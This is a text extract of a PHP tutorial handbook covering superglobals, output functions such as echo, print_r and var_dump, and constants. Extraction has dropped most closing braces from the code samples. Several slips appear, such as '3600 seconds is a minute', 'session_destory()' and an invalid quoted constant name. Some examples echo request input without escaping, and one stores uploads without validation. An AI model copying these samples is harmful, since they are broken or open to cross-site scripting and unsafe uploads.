;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;E:\Program Files\ATI Technologies\ATI.ACE\

CoreStatic;E:\Program Files\AMD\ATI.ACE\Core-Static;C:\Program Files (x86)\AMD\ATI.ACE\
CoreStatic;C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static;C:\Program Files\Intel\Intel(R)

Managemen'... (length=1169)

'SystemRoot' => string 'C:\WINDOWS' (length=10)

'COMSPEC' => string 'C:\WINDOWS\system32\cmd.exe' (length=27)

'PATHEXT' => string '.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY' (length=57)

'WINDIR' => string 'C:\WINDOWS' (length=10)

'SERVER_SIGNATURE' => string '<address>Apache/2.4.23 (Win64) PHP/7.0.10 Server at localhost

Port 80</address>' (length=80)

'SERVER_SOFTWARE' => string 'Apache/2.4.23 (Win64) PHP/7.0.10' (length=32)

'SERVER_NAME' => string 'localhost' (length=9)

'SERVER_ADDR' => string '::1' (length=3)

'SERVER_PORT' => string '80' (length=2)

'REMOTE_ADDR' => string '::1' (length=3)

'DOCUMENT_ROOT' => string 'C:/wamp64/www' (length=13)

'REQUEST_SCHEME' => string 'http' (length=4)

'CONTEXT_PREFIX' => string '' (length=0)

'CONTEXT_DOCUMENT_ROOT' => string 'C:/wamp64/www' (length=13)

'SERVER_ADMIN' => string 'wampserver@wampserver.invalid' (length=29)

'SCRIPT_FILENAME' => string 'C:/wamp64/www/test.php' (length=26)

'REMOTE_PORT' => string '5359' (length=4)

'GATEWAY_INTERFACE' => string 'CGI/1.1' (length=7)

'SERVER_PROTOCOL' => string 'HTTP/1.1' (length=8)

'REQUEST_METHOD' => string 'GET' (length=3)

'QUERY_STRING' => string '' (length=0)

'REQUEST_URI' => string '/test.php' (length=13)

'SCRIPT_NAME' => string '/test.php' (length=13)

'PHP_SELF' => string '/test.php' (length=13)

'REQUEST_TIME_FLOAT' => float 1491068771.413

'REQUEST_TIME' => int 1491068771

There is a lot to take in there so I will pick out some important ones below. If you wish to read about
them all then

consult the indices section of the documentation.

I might add them all below one day. Or someone can edit and add a good explanation of them below?
Hint, hint;)

For all explanations below, assume the URL is http://www.example.com/index.php

HTTP_HOST - The host address.

GoalKicker.com – PHP Notes for Professionals 24

This would return www.example.com

HTTP_USER_AGENT - Contents of the user agent. This is a string which contains all the information
about the

client's browser, including operating system.

HTTP_COOKIE - All cookies in a concatenated string, with a semi-colon delimiter.

SERVER_ADDR - The IP address of the server, of which the current script is running.

This would return 93.184.216.34

PHP_SELF - The file name of the currently executed script, relative to document root.

This would return /index.php

REQUEST_TIME_FLOAT - The timestamp of the start of the request, with microsecond precision.
Available since

PHP 5.4.0.

REQUEST_TIME - The timestamp of the start of the request. Available since PHP 5.1.0.
$_GET

An associative array of variables passed to the current script via the URL parameters.

$_GET is an array that contains all the URL parameters; these are the whatever is after the ? in the
URL.

Using http://www.example.com/index.php?myVar=myVal as an example. This information from this

URL can be

obtained by accessing in this format $_GET["myVar"] and the result of this will be myVal.

Using some code for those that don't like reading.

// URL = http://www.example.com/index.php?myVar=myVal

echo $_GET["myVar"] == "myVal" ? "true" : "false"; // returns "true"

The above example makes use of the ternary operator.

This shows how you can access the value from the URL using the $_GET superglobal.

Now another example! gasp

// URL = http://www.example.com/index.php?myVar=myVal&myVar2=myVal2

echo $_GET["myVar"]; // returns "myVal"

echo $_GET["myVar2"]; // returns "myVal2"

It is possible to send multiple variables through the URL by separating them with an ampersand (&)
character.

Security risk

It is very important not to send any sensitive information via the URL as it will stay in history of the
computer and

will be visible to anyone that can access that browser.

$_POST

An associative array of variables passed to the current script via the HTTP POST method when using

application/x-www-form-urlencoded or multipart/form-data as the HTTP Content-Type in the request.

Very similar to $_GET in that data is sent from one place to another.

I'll start by going straight into an example. (I have omitted the action attribute as this will send the
information to

the page that the form is in).

GoalKicker.com – PHP Notes for Professionals 25

<form method="POST">

<input type="text" name="myVar" value="myVal" />

<input type="submit" name="submit" value="Submit" />

</form>

Above is a basic form for which data can be sent. In an real environment the value attribute would not
be set

meaning the form would be blank. This would then send whatever information is entered by the user.

echo $_POST["myVar"]); // returns "myVal"

Security risk

Sending data via POST is also not secure. Using HTTPS will ensure that data is kept more secure.

$_FILES

An associative array of items uploaded to the current script via the HTTP POST method. The structure
of

this array is outlined in the POST method uploads section.

Let's start with a basic form.

<form method="POST" enctype="multipart/form-data">

<input type="file" name="myVar" />

<input type="submit" name="Submit" />

</form>

Note that I omitted the action attribute (again!). Also, I added enctype="multipart/form-data", this is
important

to any form that will be dealing with file uploads.

// ensure there isn't an error

if ($_FILES["myVar"]["error"] == UPLOAD_ERR_OK)
{

$folderLocation = "myFiles"; // a relative path. (could be "path/to/file" for example)

// if the folder doesn't exist then make it

if (!file_exists($folderLocation)) mkdir($folderLocation);

// move the file into the folder

move_uploaded_file($_FILES["myVar"]["tmp_name"], "$folderLocation/" .

basename($_FILES["myVar"]["name"]));

This is used to upload one file. Sometimes you may wish to upload more than one file. An attribute
exists for that,

it's called multiple.

There's an attribute for just about anything. I'm sorry

Below is an example of a form submitting multiple files.

<form method="POST" enctype="multipart/form-data">

<input type="file" name="myVar[]" multiple="multiple" />

<input type="submit" name="Submit" />

</form>

Note the changes made here; there are only a few.

The input name has square brackets. This is because it is now an array of files and so we are telling the
form

GoalKicker.com – PHP Notes for Professionals 26

to make an array of the files selected. Omitting the square brackets will result in the latter most file
being set

to $_FILES["myVar"].

The multiple="multiple" attribute. This just tells the browser that users can select more than one file.

$total = isset($_FILES["myVar"]) ? count($_FILES["myVar"]["name"]) : 0; // count how many files

were sent

// iterate over each of the files

for ($i = 0; $i < $total; $i++)

// there isn't an error

if ($_FILES["myVar"]["error"][$i] == UPLOAD_ERR_OK)

$folderLocation = "myFiles"; // a relative path. (could be "path/to/file" for example)

// if the folder doesn't exist then make it

if (!file_exists($folderLocation)) mkdir($folderLocation);

// move the file into the folder

move_uploaded_file($_FILES["myVar"]["tmp_name"][$i], "$folderLocation/" .

basename($_FILES["myVar"]["name"][$i]));

// else report the error

else switch ($_FILES["myVar"]["error"][$i])

case UPLOAD_ERR_INI_SIZE:

echo "Value: 1; The uploaded file exceeds the upload_max_filesize directive in

php.ini.";

break;

case UPLOAD_ERR_FORM_SIZE:

echo "Value: 2; The uploaded file exceeds the MAX_FILE_SIZE directive that was

specified in the HTML form.";

break;

case UPLOAD_ERR_PARTIAL:

echo "Value: 3; The uploaded file was only partially uploaded.";

break;

case UPLOAD_ERR_NO_FILE:

echo "Value: 4; No file was uploaded.";

break;

case UPLOAD_ERR_NO_TMP_DIR:

echo "Value: 6; Missing a temporary folder. Introduced in PHP 5.0.3.";

break;

case UPLOAD_ERR_CANT_WRITE:

echo "Value: 7; Failed to write file to disk. Introduced in PHP 5.1.0.";

break;

case UPLOAD_ERR_EXTENSION:

echo "Value: 8; A PHP extension stopped the file upload. PHP does not provide a way to

ascertain which extension caused the file upload to stop; examining the list of loaded extensions

with phpinfo() may help. Introduced in PHP 5.2.0.";

break;

default:

echo "An unknown error has occurred.";

break;

This is a very simple example and doesn't handle problems such as file extensions that aren't allowed
or files
named with PHP code (like a PHP equivalent of an SQL injection). See the documentation.

The first process is checking if there are any files, and if so, set the total number of them to $total.

GoalKicker.com – PHP Notes for Professionals 27

Using the for loop allows an iteration of the $_FILES array and accessing each item one at a time. If
that file doesn't

encounter a problem then the if statement is true and the code from the single file upload is run.

If an problem is encountered the switch block is executed and an error is presented in accordance with
the error

for that particular upload.

$_COOKIE

An associative array of variables passed to the current script via HTTP Cookies.

Cookies are variables that contain data and are stored on the client's computer.

Unlike the aforementioned superglobals, cookies must be created with a function (and not be
assigning a value).

The convention is below.

setcookie("myVar", "myVal", time() + 3600);

In this example a name is specified for the cookie (in this example it is "myVar"), a value is given (in
this example it is

"myVal", but a variable can be passed to assign its value to the cookie), and then an expiration time is
given (in this

example it is one hour since 3600 seconds is a minute).

Despite the convention for creating a cookie being different, it is accessed in the same way as the
others.

echo $_COOKIE["myVar"]; // returns "myVal"

To destroy a cookie, setcookie must be called again, but the expiration time is set to any time in the
past. See

below.

setcookie("myVar", "", time() - 1);

var_dump($_COOKIE["myVar"]); // returns null

This will unset the cookies and remove it from the clients computer.

$_SESSION

An associative array containing session variables available to the current script. See the Session
functions

documentation for more information on how this is used.

Sessions are much like cookies except they are server side.

To use sessions you must include session_start() at the top of your scripts to allow sessions to be
utilised.

Setting a session variable is the same as setting any other variable. See example below.

$_SESSION["myVar"] = "myVal";

When starting a session a random ID is set as a cookie and called "PHPSESSID" and will contain the
session ID for

that current session. This can be accessed by calling the session_id() function.

It is possible to destroy session variables using the unset function (such that
unset($_SESSION["myVar"]) would

destroy that variable).

The alternative is to call session_destory(). This will destroy the entire session meaning that all session
variables

will no longer exist.

GoalKicker.com – PHP Notes for Professionals 28

$_REQUEST

An associative array that by default contains the contents of $_GET, $_POST and $_COOKIE.

As the PHP documentation states, this is just a collation of $_GET, $_POST, and $_COOKIE all in one
variable.

Since it is possible for all three of those arrays to have an index with the same name, there is a setting
in the

php.ini file called request_order which can specify which of the three has precedence.
For instance, if it was set to "GPC", then the value of $_COOKIE will be used, as it is read from left to
right meaning

the $_REQUEST will set its value to $_GET, then $_POST, and then $_COOKIE and since $_COOKIE is
last that is the value

that is in $_REQUEST.

See this question.

$_ENV

An associative array of variables passed to the current script via the environment method.

These variables are imported into PHP's global namespace from the environment under which the PHP

parser is running. Many are provided by the shell under which PHP is running and different systems
are

likely running different kinds of shells, a definitive list is impossible. Please see your shell's

documentation for a list of defined environment variables.

Other environment variables include the CGI variables, placed there regardless of whether PHP is
running

as a server module or CGI processor.

Anything stored within $_ENV is from the environment from which PHP is running in.

$_ENV is only populated if php.ini allows it.

See this answer for more information on why $_ENV is not populated.

Section 4.2: PHP5 SuperGlobals

Below are the PHP5 SuperGlobals

$GLOBALS

$_REQUEST

$_GET

$_POST

$_FILES

$_SERVER
$_ENV

$_COOKIE

$_SESSION

$GLOBALS: This SuperGlobal Variable is used for accessing globals variables.

<?php

$a = 10;

function foo(){

echo $GLOBALS['a'];

//Which will print 10 Global Variable a

GoalKicker.com – PHP Notes for Professionals 29

?>

$_REQUEST: This SuperGlobal Variable is used to collect data submitted by a HTML Form.

<?php

if(isset($_REQUEST['user'])){

echo $_REQUEST['user'];

//This will print value of HTML Field with name=user submitted using POST and/or GET MEthod

?>

$_GET: This SuperGlobal Variable is used to collect data submitted by HTML Form with get method.

<?php

if(isset($_GET['username'])){

echo $_GET['username'];

//This will print value of HTML field with name username submitted using GET Method
?>

$_POST: This SuperGlobal Variable is used to collect data submitted by HTML Form with post method.

<?php

if(isset($_POST['username'])){

echo $_POST['username'];

//This will print value of HTML field with name username submitted using POST Method

?>

$_FILES: This SuperGlobal Variable holds the information of uploaded files via HTTP Post method.

<?php

if($_FILES['picture']){

echo "<pre>";

print_r($_FILES['picture']);

echo "</pre>";

/**

This will print details of the File with name picture uploaded via a form with method='post and with

enctype='multipart/form-data'

Details includes Name of file, Type of File, temporary file location, error code(if any error

occurred while uploading the file) and size of file in Bytes.

Eg.

Array

[picture] => Array

(
[0] => Array

[name] => 400.png

[type] => image/png

[tmp_name] => /tmp/php5Wx0aJ

[error] => 0

[size] => 15726

GoalKicker.com – PHP Notes for Professionals 30

*/

?>

$_SERVER: This SuperGlobal Variable holds information about Scripts, HTTP Headers and Server Paths.

<?php

echo "<pre>";

print_r($_SERVER);

echo "</pre>";

/**

Will print the following details

on my local XAMPP

Array

[MIBDIRS] => C:/xampp/php/extras/mibs

[MYSQL_HOME] => \xampp\mysql\bin

[OPENSSL_CONF] => C:/xampp/apache/bin/openssl.cnf

[PHP_PEAR_SYSCONF_DIR] => \xampp\php

[PHPRC] => \xampp\php

[TMP] => \xampp\tmp

[HTTP_HOST] => localhost

[HTTP_CONNECTION] => keep-alive

[HTTP_CACHE_CONTROL] => max-age=0

[HTTP_UPGRADE_INSECURE_REQUESTS] => 1

[HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like

Gecko)

Chrome/52.0.2743.82 Safari/537.36

[HTTP_ACCEPT] => text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*;q=0.8

[HTTP_ACCEPT_ENCODING] => gzip, deflate, sdch

[HTTP_ACCEPT_LANGUAGE] => en-US,en;q=0.8

[PATH] => C:\xampp\php;C:\ProgramData\ComposerSetup\bin;

[SystemRoot] => C:\Windows

[COMSPEC] => C:\Windows\system32\cmd.exe

[PATHEXT] => .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC

[WINDIR] => C:\Windows

[SERVER_SIGNATURE] => Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.6.12 Server at localhost Port

80

[SERVER_SOFTWARE] => Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.6.12

[SERVER_NAME] => localhost

[SERVER_ADDR] => ::1

[SERVER_PORT] => 80

[REMOTE_ADDR] => ::1

[DOCUMENT_ROOT] => C:/xampp/htdocs

[REQUEST_SCHEME] => http

[CONTEXT_PREFIX] =>

[CONTEXT_DOCUMENT_ROOT] => C:/xampp/htdocs

[SERVER_ADMIN] => postmaster@localhost

[SCRIPT_FILENAME] => C:/xampp/htdocs/abcd.php

[REMOTE_PORT] => 63822

[GATEWAY_INTERFACE] => CGI/1.1

[SERVER_PROTOCOL] => HTTP/1.1

[REQUEST_METHOD] => GET

[QUERY_STRING] =>

[REQUEST_URI] => /abcd.php

[SCRIPT_NAME] => /abcd.php

[PHP_SELF] => /abcd.php

[REQUEST_TIME_FLOAT] => 1469374173.88

[REQUEST_TIME] => 1469374173

*/

?>

$_ENV: This SuperGlobal Variable Shell Environment Variable details under which the PHP is running.

GoalKicker.com – PHP Notes for Professionals 31

$_COOKIE: This SuperGlobal Variable is used to retrieve Cookie value with given Key.

<?php

$cookie_name = "data";

$cookie_value = "Foo Bar";

setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day

if(!isset($_COOKIE[$cookie_name])) {

echo "Cookie named '" . $cookie_name . "' is not set!";

else {

echo "Cookie '" . $cookie_name . "' is set!<br>";

echo "Value is: " . $_COOKIE[$cookie_name];

/**

Output

Cookie 'data' is set!

Value is: Foo Bar

*/

?>

$_SESSION: This SuperGlobal Variable is used to Set and Retrieve Session Value which is stored on
Server.

<?php

//Start the session

session_start();

/**

Setting the Session Variables

that can be accessed on different

pages on save server.

*/

$_SESSION["username"] = "John Doe";

$_SESSION["user_token"] = "d5f1df5b4dfb8b8d5f";
echo "Session is saved successfully";

/**

Output

Session is saved successfully

*/

?>

GoalKicker.com – PHP Notes for Professionals 32

Chapter 5: Outputting the Value of a

Variable

To build a dynamic and interactive PHP program, it is useful to output variables and their values. The
PHP language

allows for multiple methods of value output. This topic covers the standard methods of printing a
value in PHP and

where these methods can be used.

Section 5.1: echo and print

echo and print are language constructs, not functions. This means that they don't require parentheses
around the

argument like a function does (although one can always add parentheses around almost any PHP
expression and

thus echo("test") won't do any harm either). They output the string representation of a variable,
constant, or

expression. They can't be used to print arrays or objects.

Assign the string Joel to the variable $name

$name = "Joel";

Output the value of $name using echo & print

echo $name; #> Joel

print $name; #> Joel

Parentheses are not required, but can be used

echo($name); #> Joel

print($name); #> Joel

Using multiple parameters (only echo)

echo $name, "Smith"; #> JoelSmith

echo($name, " ", "Smith"); #> Joel Smith

print, unlike echo, is an expression (it returns 1), and thus can be used in more places:

print("hey") && print(" ") && print("you"); #> you11

The above is equivalent to:

print ("hey" && (print (" " && print "you"))); #> you11

Shorthand notation for echo

When outside of PHP tags, a shorthand notation for echo is available by default, using <?= to begin
output and ?> to

end it. For example:

<p><?=$variable?></p>

<p><?= "This is also PHP" ?></p>

Note that there is no terminating ;. This works because the closing PHP tag acts as the terminator for
the single

GoalKicker.com – PHP Notes for Professionals 33

statement. So, it is conventional to omit the semicolon in this shorthand notation.

Priority of print

Although the print is language construction it has priority like operator. It places between = += -= *=
**= /= .= %=

&= and and operators and has left association. Example:

echo '1' . print '2' + 3; //output 511

Same example with brackets:

echo '1' . print ('2' + 3); //output 511

Differences between echo and print

In short, there are two main differences:

print only takes one parameter, while echo can have multiple parameters.

print returns a value, so can be used as an expression.

Section 5.2: Outputting a structured view of arrays and

objects

print_r() - Outputting Arrays and Objects for debugging

print_r will output a human readable format of an array or object.

You may have a variable that is an array or object. Trying to output it with an echo will throw the
error:

Notice: Array to string conversion. You can instead use the print_r function to dump a human readable

format of this variable.

You can pass true as the second parameter to return the content as a string.

$myobject = new stdClass();

$myobject->myvalue = 'Hello World';

$myarray = [ "Hello", "World" ];

$mystring = "Hello World";

$myint = 42;

// Using print_r we can view the data the array holds.

print_r($myobject);

print_r($myarray);

print_r($mystring);

print_r($myint);

This outputs the following:

stdClass Object

(
[myvalue] => Hello World

Array

[0] => Hello

[1] => World

GoalKicker.com – PHP Notes for Professionals 34

Hello World

42

Further, the output from print_r can be captured as a string, rather than simply echoed. For instance,
the following

code will dump the formatted version of $myarray into a new variable:

$formatted_array = print_r($myarray, true);

Note that if you are viewing the output of PHP in a browser, and it is interpreted as HTML, then the
line breaks will

not be shown and the output will be much less legible unless you do something like

echo '<pre>' . print_r($myarray, true) . '</pre>';

Opening the source code of a page will also format your variable in the same way without the use of
the

<pre> tag.

Alternatively you can tell the browser that what you're outputting is plain text, and not HTML:

header('Content-Type: text/plain; charset=utf-8');

print_r($myarray);

var_dump() - Output human-readable debugging information about content of the argument(s)

including its

type and value

The output is more detailed as compared to print_r because it also outputs the type of the variable
along with its

value and other information like object IDs, array sizes, string lengths, reference markers, etc.

You can use var_dump to output a more detailed version for debugging.

var_dump($myobject, $myarray, $mystring, $myint);

Output is more detailed:

object(stdClass)#12 (1) {

["myvalue"]=>

string(11) "Hello World"

array(2) {

[0]=>

string(5) "Hello"

[1]=>

string(5) "World"

string(11) "Hello World"

int(42)

Note: If you are using xDebug in your development environment, the output of var_dump is limited /
truncated by

default. See the official documentation for more info about the options to change this.

var_export() - Output valid PHP Code

var_export() dumps a PHP parseable representation of the item.

GoalKicker.com – PHP Notes for Professionals 35

You can pass true as the second parameter to return the contents into a variable.

var_export($myarray);
var_export($mystring);

var_export($myint);

Output is valid PHP code:

array (

0 => 'Hello',

1 => 'World',

'Hello World'

42

To put the content into a variable, you can do this:

$array_export = var_export($myarray, true);

$string_export = var_export($mystring, true);

$int_export = var_export($myint, 1); // any `Truthy` value

After that, you can output it like this:

printf('$myarray = %s; %s', $array_export, PHP_EOL);

printf('$mystring = %s; %s', $string_export, PHP_EOL);

printf('$myint = %s; %s', $int_export, PHP_EOL);

This will produce the following output:

$myarray = array (

0 => 'Hello',

1 => 'World',

);

$mystring = 'Hello World';

$myint = 42;

Section 5.3: String concatenation with echo

You can use concatenation to join strings "end to end" while outputting them (with echo or print for
example).

You can concatenate variables using a . (period/dot).

// String variable

$name = 'Joel';

// Concatenate multiple strings (3 in this example) into one and echo it once done.

// 1. ↓ 2. ↓ 3. ↓ - Three Individual string items

echo '<p>Hello ' . $name . ', Nice to see you.</p>';

// ↑ ↑ - Concatenation Operators

#> "<p>Hello Joel, Nice to see you.</p>"

Similar to concatenation, echo (when used without parentheses) can be used to combine strings and
variables

together (along with other arbitrary expressions) using a comma (,).

$itemCount = 1;

GoalKicker.com – PHP Notes for Professionals 36

echo 'You have ordered ', $itemCount, ' item', $itemCount === 1 ? '' : 's';

// ↑ ↑ ↑ - Note the commas

#> "You have ordered 1 item"

String concatenation vs passing multiple arguments to echo

Passing multiple arguments to the echo command is more advantageous than string concatenation in
some

circumstances. The arguments are written to the output in the same order as they are passed in.

echo "The total is: ", $x + $y;

The problem with the concatenation is that the period . takes precedence in the expression. If
concatenated, the

above expression needs extra parentheses for the correct behavior. The precedence of the period
affects ternary
operators too.

echo "The total is: " . ($x + $y);

Section 5.4: printf vs sprintf

printf will output a formatted string using placeholders

sprintf will return the formatted string

$name = 'Jeff';

// The `%s` tells PHP to expect a string

// ↓ `%s` is replaced by ↓

printf("Hello %s, How's it going?", $name);

#> Hello Jeff, How's it going?

// Instead of outputting it directly, place it into a variable ($greeting)

$greeting = sprintf("Hello %s, How's it going?", $name);

echo $greeting;

#> Hello Jeff, How's it going?

It is also possible to format a number with these 2 functions. This can be used to format a decimal
value used to

represent money so that it always has 2 decimal digits.

$money = 25.2;

printf('%01.2f', $money);

#> 25.20

The two functions vprintf and vsprintf operate as printf and sprintf, but accept a format string and an
array of

values, instead of individual variables.

Section 5.5: Outputting large integers

On 32-bits systems, integers larger than PHP_INT_MAX are automatically converted to float.
Outputting these as

integer values (i.e. non-scientific notation) can be done with printf, using the float representation, as
illustrated

below:

foreach ([1, 2, 3, 4, 5, 6, 9, 12] as $p) {

$i = pow(1024, $p);

printf("pow(1024, %d) > (%7s) %20s %38.0F", $p, gettype($i), $i, $i);

GoalKicker.com – PHP Notes for Professionals 37

echo " ", $i, "\n";

// outputs:

pow(1024, 1) integer 1024 1024 1024

pow(1024, 2) integer 1048576 1048576 1048576

pow(1024, 3) integer 1073741824 1073741824 1073741824

pow(1024, 4) double 1099511627776 1099511627776 1099511627776

pow(1024, 5) double 1.1258999068426E+15 1125899906842624

1.1258999068426E+15

pow(1024, 6) double 1.1529215046068E+18 1152921504606846976

1.1529215046068E+18

pow(1024, 9) double 1.2379400392854E+27 1237940039285380274899124224

1.2379400392854E+27

pow(1024, 12) double 1.3292279957849E+36 1329227995784915872903807060280344576

1.3292279957849E+36

Note: watch out for float precision, which is not infinite!

While this looks nice, in this contrived example the numbers can all be represented as a binary
number since they

are all powers of 1024 (and thus 2). See for example:

$n = pow(10, 27);
printf("%s %.0F\n", $n, $n);

// 1.0E+27 1000000000000000013287555072

Section 5.6: Output a Multidimensional Array with index and

value and print into the table

Array

[0] => Array

[id] => 13

[category_id] => 7

[name] => Leaving Of Liverpool

[description] => Leaving Of Liverpool

[price] => 1.00

[virtual] => 1

[active] => 1

[sort_order] => 13

[created] => 2007-06-24 14:08:03

[modified] => 2007-06-24 14:08:03

[image] => NONE

[1] => Array

[id] => 16

[category_id] => 7

[name] => Yellow Submarine

[description] => Yellow Submarine

[price] => 1.00

[virtual] => 1

[active] => 1

[sort_order] => 16

[created] => 2007-06-24 14:10:02

[modified] => 2007-06-24 14:10:02

GoalKicker.com – PHP Notes for Professionals 38

[image] => NONE

Output Multidimensional Array with index and value in table

<table>

<?php

foreach ($products as $key => $value) {

foreach ($value as $k => $v) {

echo "<tr>";

echo "<td>$k</td>"; // Get index.

echo "<td>$v</td>"; // Get value.

echo "</tr>";

?>

</table>

GoalKicker.com – PHP Notes for Professionals 39

Chapter 6: Constants

Section 6.1: Defining constants

Constants are created using the const statement or the define function. The convention is to use
UPPERCASE

letters for constant names.

Define constant using explicit values

const PI = 3.14; // float

define("EARTH_IS_FLAT", false); // boolean

const "UNKNOWN" = null; // null

define("APP_ENV", "dev"); // string

const MAX_SESSION_TIME = 60 * 60; // integer, using (scalar) expressions is ok

const APP_LANGUAGES = ["de", "en"]; // arrays

define("BETTER_APP_LANGUAGES", ["lu", "de"]); // arrays

Define constant using another constant

if you have one constant you can define another one based on it:

const TAU = PI * 2;

define("EARTH_IS_ROUND", !EARTH_IS_FLAT);

define("MORE_UNKNOWN", UNKNOWN);

define("APP_ENV_UPPERCASE", strtoupper(APP_ENV)); // string manipulation is ok too

// the above example (a function call) does not work with const:

// const TIME = time(); # fails with a fatal error! Not a constant scalar expression

define("MAX_SESSION_TIME_IN_MINUTES", MAX_SESSION_TIME / 60);

const APP_FUTURE_LANGUAGES = [-1 => "es"] + APP_LANGUAGES; // array manipulations

define("APP_BETTER_FUTURE_LANGUAGES", array_merge(["fr"], APP_BETTER_LANGUAGES));

Reserved constants

Some constant names are reserved by PHP and cannot be redefined. All these examples will fail:
define("true", false); // internal constant

define("false", true); // internal constant

define("CURLOPT_AUTOREFERER", "something"); // will fail if curl extension is loaded

And a Notice will be issued:

Constant ... already defined in ...

Conditional defines

If you have several files where you may define the same variable (for example, your main config then
your local

config) then following syntax may help avoiding conflicts:

defined("PI") || define("PI", 3.1415); // "define PI if it's not yet defined"

const vs define

define is a runtime expression while const a compile time one.

GoalKicker.com – PHP Notes for Professionals 40

Thus define allows for dynamic values (i.e. function calls, variables etc.) and even dynamic names and
conditional

definition. It however is always defining relative to the root namespace.

const is static (as in allows only operations with other constants, scalars or arrays, and only a restricted
set of them,

the so called constant scalar expressions, i.e. arithmetic, logical and comparison operators as well as
array

dereferencing), but are automatically namespace prefixed with the currently active namespace.

const only supports other constants and scalars as values, and no operations.

Section 6.2: Class Constants

Constants can be defined inside classes using a const keyword.

class Foo {

const BAR_TYPE = "bar";

// reference from inside the class using self::

public function myMethod() {

return self::BAR_TYPE;

// reference from outside the class using <ClassName>::

echo Foo::BAR_TYPE;

This is useful to store types of items.

<?php

class Logger {

const LEVEL_INFO = 1;

const LEVEL_WARNING = 2;

const LEVEL_ERROR = 3;

// we can even assign the constant as a default value

public function log($message, $level = self::LEVEL_INFO) {

echo "Message level " . $level . ": " . $message;

$logger = new Logger();

$logger->log("Info"); // Using default value

$logger->log("Warning", $logger::LEVEL_WARNING); // Using var

$logger->log("Error", Logger::LEVEL_ERROR); // using class

Section 6.3: Checking if constant is defined

Simple check

To check if constant is defined use the defined function. Note that this function doesn't care about
constant's

value, it only cares if the constant exists or not. Even if the value of the constant is null or false the
function will

still return true.

<?php

define("GOOD", false);

if (defined("GOOD")) {

GoalKicker.com – PHP Notes for Professionals 41

print "GOOD is defined" ; // prints "GOOD is defined"

if (GOOD) {

print "GOOD is true" ; // does not print anything, since GOOD is false

if (!defined("AWESOME")) {

define("AWESOME", true); // awesome was not defined. Now we have defined it

Note that constant becomes "visible" in your code only after the line where you have defined it:

<?php

if (defined("GOOD")) {

print "GOOD is defined"; // doesn't print anyhting, GOOD is not defined yet.

define("GOOD", false);

if (defined("GOOD")) {

print "GOOD is defined"; // prints "GOOD is defined"

Getting all defined constants

To get all defined constants including those created by PHP use the get_defined_constants function:
<?php

$constants = get_defined_constants();

var_dump($constants); // pretty large list

To get only those constants that were defined by your app call the function at the beginning and at the
end of your

script (normally after the bootstrap process):

<?php

$constants = get_defined_constants();

define("HELLO", "hello");

define("WORLD", "world");

$new_constants = get_defined_constants();

$myconstants = array_diff_assoc($new_constants, $constants);

var_export($myconstants);

/*

Output:

array (

'HELLO' => 'hello',

'WORLD' => 'world',

*/

It's sometimes useful for debugging

GoalKicker.com – PHP Notes for Professionals 42

Section 6.4: Using constants

To use the constant simply use its name:

if (EARTH_IS_FLAT) {
print "Earth is flat";

print APP_ENV_UPPERCASE;

or if you don't know the name of the constant in advance, use the constant function:

// this code is equivalent to the above code

$const1 = "EARTH_IS_FLAT";

$const2 = "APP_ENV_UPPERCASE";

if (constant($const1)) {

print "Earth is flat";

print constant($const2);

Section 6.5: Constant arrays

Arrays can be used as plain constants and class constants from version PHP 5.6 onwards:

Class constant example

class Answer {

const C = [2,4];

print Answer::C[1] . Answer::C[0]; // 42

Plain constant example

const ANSWER = [2,4];

print ANSWER[1] . ANSWER[0]; // 42

Also from version PHP 7.0 this functionality was ported to the define function for plain constants.

define('VALUES', [2, 3]);

define('MY_ARRAY', [

1,
VALUES,

]);

print MY_ARRAY[1][1]; // 3

GoalKicker.com – PHP Notes for Professionals 43

Chapter 7: Magic Constants

Section 7.1: Dierence between __FUNCTION__ and

__METHOD__

__FUNCTION__ returns only the name of the function whereas __METHOD__ returns the name of the
class along with

the name of the function:

<?php

class trick

public function doit()

echo __FUNCTION__;

public function doitagain()

echo __METHOD__;

$obj = new trick();

$obj->doit(); // Outputs: doit

$obj->doitagain(); // Outputs: trick::doitagain

Section 7.2: Dierence between __CLASS__, get_class() and

get_called_class()

__CLASS__ magic constant returns the same result as get_class() function called without parameters
and they

both return the name of the class where it was defined (i.e. where you wrote the function
call/constant name ).

In contrast, get_class($this) and get_called_class() functions call, will both return the name of the
actual class

which was instantiated:

<?php

class Definition_Class {

public function say(){

echo '__CLASS__ value: ' . __CLASS__ . "\n";

echo 'get_called_class() value: ' . get_called_class() . "\n";

echo 'get_class($this) value: ' . get_class($this) . "\n";

echo 'get_class() value: ' . get_class() . "\n";

class Actual_Class extends Definition_Class {}

$c = new Actual_Class();

$c->say();

// Output:

// __CLASS__ value: Definition_Class

// get_called_class() value: Actual_Class

// get_class($this) value: Actual_Class

GoalKicker.com – PHP Notes for Professionals 44

// get_class() value: Definition_Class

Section 7.3: File & Directory Constants

Current file

You can get the name of the current PHP file (with the absolute path) using the __FILE__ magic
constant. This is

most often used as a logging/debugging technique.

echo "We are in the file:" , __FILE__ , "\n";

Current directory

To get the absolute path to the directory where the current file is located use the __DIR__ magic
constant.

echo "Our script is located in the:" , __DIR__ , "\n";

To get the absolute path to the directory where the current file is located, use dirname(__FILE__).

echo "Our script is located in the:" , dirname(__FILE__) , "\n";

Getting current directory is often used by PHP frameworks to set a base directory:

// index.php of the framework

define(BASEDIR, __DIR__); // using magic constant to define normal constant

// somefile.php looks for views:

$view = 'page';

$viewFile = BASEDIR . '/views/' . $view;

Separators

Windows system perfectly understands the / in paths so the DIRECTORY_SEPARATOR is used mainly
when

parsing paths.

Besides magic constants PHP also adds some fixed constants for working with paths:

DIRECTORY_SEPARATOR constant for separating directories in a path. Takes value / on *nix, and \ on
Windows.

The example with views can be rewritten with:

$view = 'page';

$viewFile = BASEDIR . DIRECTORY_SEPARATOR .'views' . DIRECTORY_SEPARATOR . $view;

Rarely used PATH_SEPARATOR constant for separating paths in the $PATH environment variable. It is ;
on

Windows, : otherwise

GoalKicker.com – PHP Notes for Professionals 45

